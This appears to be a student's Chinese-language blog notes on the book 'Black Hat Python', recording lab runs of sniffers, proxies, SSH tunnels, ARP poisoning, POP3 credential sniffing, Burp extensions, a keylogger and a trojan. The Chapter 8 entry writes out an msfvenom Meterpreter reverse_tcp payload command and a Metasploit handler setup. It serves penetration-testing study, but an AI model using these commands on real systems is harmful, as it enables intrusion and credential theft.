python代码见码云:20179204_gege

参考博客Python黑帽子--黑客与渗透测试编程之道关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

第2章 网络基础

  • tcp客户端(tcpclient.py),可以看到百度返回的HTTP响应。

  • udp客户端(udpclient.py)

首先先用nc监听一下9999端口,-u就是udp模式,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据。

现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议

发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思。

  • tcp服务器(tcpserver.py tcpclient1.py)

  • 取代netcat (bhnet.py)

打开一个终端./bhnet.py -l -p 9999 -c

打开新终端./bhnet.py -t localhost -p 9999

输入ctrl+d

  • 创建一个tcp代理proxy (proxy.py)

    	设置浏览器代理127.0.0.1:80
    sudo python ./proxy.py 127.0.0.1 80 www.baidu.com 80 True
    打开浏览器



.

  • 通过paramiko使用ssh (bh_sshcmd.py bh_sshRcmd.py bh_sshserver.py)

    参考博客Python黑帽子——通过Paramiko使用SSH

    	pip install paramiko
    生成密钥 ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
    添加用户 useradd -d /home/qing qing
    passwd qing
    赋予ssh权限 vi /etc/ssh/sshd_config,添加 AllowUsers:qing

测试、运行结果

  	python bh_sshcmd.py
python bh_sshserver.py 127.0.0.1 80
python bh_sshRcmd.py
可以在服务器端输入一条命令mkdir ddr新建一个ddr文件夹



  • ssh隧道 (rforward.py bh_sshserver.py)建议在终端同时输一下

    不设置浏览器代理
    终端1:python rforward.py 127.0.0.1 -p 8080 -r 127.0.0.1:80 --user gege --password
    gege
    终端2:python bh_sshserver.py 127.0.0.1 80
    终端3:python bh_sshRcmd.py
    刷新浏览器127.0.0.1:8080



第3章 网络:原始套接字和流量嗅探

  • linux上的嗅探器 (sniffer.py)注意修改代码中的ip地址

  • linux下测试解码ip层 (sniffer_ip_header_decode)注意修改代码中的ip地址

  • 解码ICMP (sniffer_with_icmp.py)注意修改代码中的ip地址

type0 code0 说明Echo Reply——回显应答(Ping应答)

解码ICMP





注:回显请求与回显应答是两种icmp报文类型,类型号分别是8和0,这两种类型下都只有一种代码0。这两种icmp报文属查询报文,主要用于测试网络中另一台主机是否可达,向欲测试主机发送一份ICMP回显请求,并等待返回ICMP回显应答,如果能收到,表明该主机可达。

  • 子网扫描器 (sniffer.py)注意修改代码中的ip地址和子网地址

第4章 网络:原始套接字和流量嗅探

  • 简单嗅探器(mail_test.py)

  • 窃取email认证(mail_sniffer)

需要用命令行模拟邮件登陆(当然我用的是错误的用户名和密码,所以下图是不能登录成功的,但已经说明抓取成功),这里以登陆网易的pop3服务器为例 telnet pop3.163.com 110

  • 利用scapy进行arp缓存投毒(arptest.py)需要修改代码中两个ip地址

    	攻击机kali,目标机win2k。
    kali上ping攻击机。
    在win上输入命令ipconfig /all,arp -a检查arp缓存。
    首先要开启对网关和目标ip地址的流量进行转发的功能:
    echo 1 > /proc/sys/net/ipv4/ip_forward





  • 处理pcap文件(pic_carver1.py)“人脸识别”

    	安装opencv: apt-get install python-opencv python-numpy python-scipy
    wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml



第5章 web攻击

  • 开源web应用安装(web_app_mapper.py)





    web_app_mapper1.py是课本的代码 web_app_mapper2.py。

这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录,看看哪些目录是跟官方的一样的,举个例子:比如有没有install目录。

  • 暴力破解目录和文件位置(content_bruter.py),其中字典文件all.txt



  • 暴力破解html表格认证(joomla_killer.py)

这个要搭建apache服务器,单纯做不出。

第6章 扩展burp代理

  • burp模糊测试(bhp_fuzzer.py)

打开burpsuite,environment 选择jar文件路径



extender——add——bup_fuzzer.py(课本97步骤)























  • 在burp中利用bing服务(bhp_bing.py)课本105步骤







  • 利用网站内容生成密码字典(bhp_wordlist.py)课本111步骤











第7章 基于GitHub的命令和控制

  • 基于github通信的木马(git_trojan.py)失败。

第8章 windows下木马的常用功能(沙盒检测没做)

  • 有趣的键盘记录(winxpattacker下运行,C:\Documents and Settings\Administrator文件夹下keylogger.py)

安装过程:



IDLE——run module



无论键盘输入什么,都会被记录下来。

  • 截取屏幕快照(winxpattacker下运行,screenshotter.py)



    截图保存在c:\WINDOWS\Temp\screenshot.bmp下。

  • python方式的shellcode执行【kali下输入metasploit命令行,winxp下运行需要改代码,windows弹出计算器calc.exe】(shell_exec.py)

kali:

  	msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.62.77 LPORT=1234 -f raw -o win_backdoor.raw
base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer
metasploit下:
use exploit/multi/handler
set LHOST 10.43.62.77
set LPORT 1234
exploit





winxppython运行



kaliexecute -f calc.exe,在win下查看结果:

第9章 玩转浏览器

  • 基于浏览器的中间人攻击
  • 利用IE的COM组件自动化技术窃取数据

本章只实现了创建一个简单快速的RSA公私钥生成脚本(keygen.py)

第10章 windows系统提权(代码插入没做)

  • 利用WMI监视进程(process_monitor.py)

    直接在cmd命令行下python运行,日志只显示在process_monitor_log.csv里了。

  • windows系统的令牌权限(process_monitor1.py)



  • 赢得竞争(file_monitor1.py)

第11章 自动化攻击取证(本章没成功)

  • 抓取口令的哈希值

  • 直接代码注入(code_inject.py)失败

2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道的更多相关文章

  1. 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道

    Python黑帽子  黑客与渗透测试编程之道   <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...

  2. python黑帽子-黑客与渗透测试编程之道(源代码)

    链接: https://pan.baidu.com/s/1i5BnB5V   密码: ak9t

  3. 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者

    窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...

  4. 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

    基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...

  5. 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能

    有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

  6. 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制

    GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...

  7. 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理

    下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...

  8. 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击

    Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 网络:原始套接字和流量嗅探

    Windows和Linux上的包嗅探: #!/usr/bin/python import socket import os #监听的主机 host = "10.10.10.160" ...

随机推荐

  1. GMap.Net解决方案之在WinForm和WPF中使用GMap.Net地图插件的开发

    在做地理位置相关的开发时,总是面临高额地图引擎费用让大部分用户望而却步,加之地图数据又是天价,那么GMap.NET就是首选了,它本身就是开源免费,服务器可以在本地缓存,以后访问时就可以直接访问. 可以 ...

  2. vbs自由选择启动bat文件

    1.首先创建一个文件夹用来放bat文件和配置文件. 2.然后在bat文件中写入启动程序.中间红色框是启动程序,外面程序是用来隐藏命令提示符的. 3.txt配置文件配置vbs启动项,vbs只能找到此文件 ...

  3. java基础面试题:java中实现多态的机制是什么?

    靠的是父类或接口的引用指向子类或实现类的对象, 调用的方法是内存中正在运行的那个对象的方法.

  4. c++ 作业 10月13日 进制转换最简单方法,控制c++输出格式方法 教材50的表格自己实践一下 例题3.1 setfill() setw()

    #include <iostream> #include <iomanip> using namespace std; int main(){ // int i; // cou ...

  5. cf550C. Divisibility by Eight(结论)

    题意 给出长度为$n$的字符串,判断是否能删除一些数后被$8$整除 Sol 神仙题啊Orz 结论: 若数字的后三位能被$8$整除,则该数字能被$8$整除 证明 设$x = 10000 * a_i + ...

  6. position的 relative+absolute实现固定标签在窗口的某个位置

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  7. 在kali上安装谷歌浏览器

    在kali上安装谷歌浏览器的时候,遇到了很多问题,经过不懈努力,终于解决,现在把方法总结一下,希望对遇到同样问题的人能有一定帮助.这是给最白的小白参考的,大牛勿喷哈. 首先去这个网站www.googl ...

  8. hive数据的导入导出方式

    导入方式 1.load方式 load data local inpath 'local_path' into table tb_name; 从本地复制了文件到表的路径下 应用场景:大部分的使用,文件几 ...

  9. music21 关联 MuseScore 和 Lilypond

    在python安装 music21后,需要关联 musescore 或 lilypond 才能可以用图形化的形式看到 乐谱. 因此 在安装 music21后,需要配置环境变量,yvivid 在 mus ...

  10. Ubuntu下Python无法识别中文

    在NLP的相关任务中,应用python处理中文是很常见的.在这个过程中,由于编码方式的不一致,可能会出现以下两种错误: 1)SyntaxError:  Non-ASCII character in f ...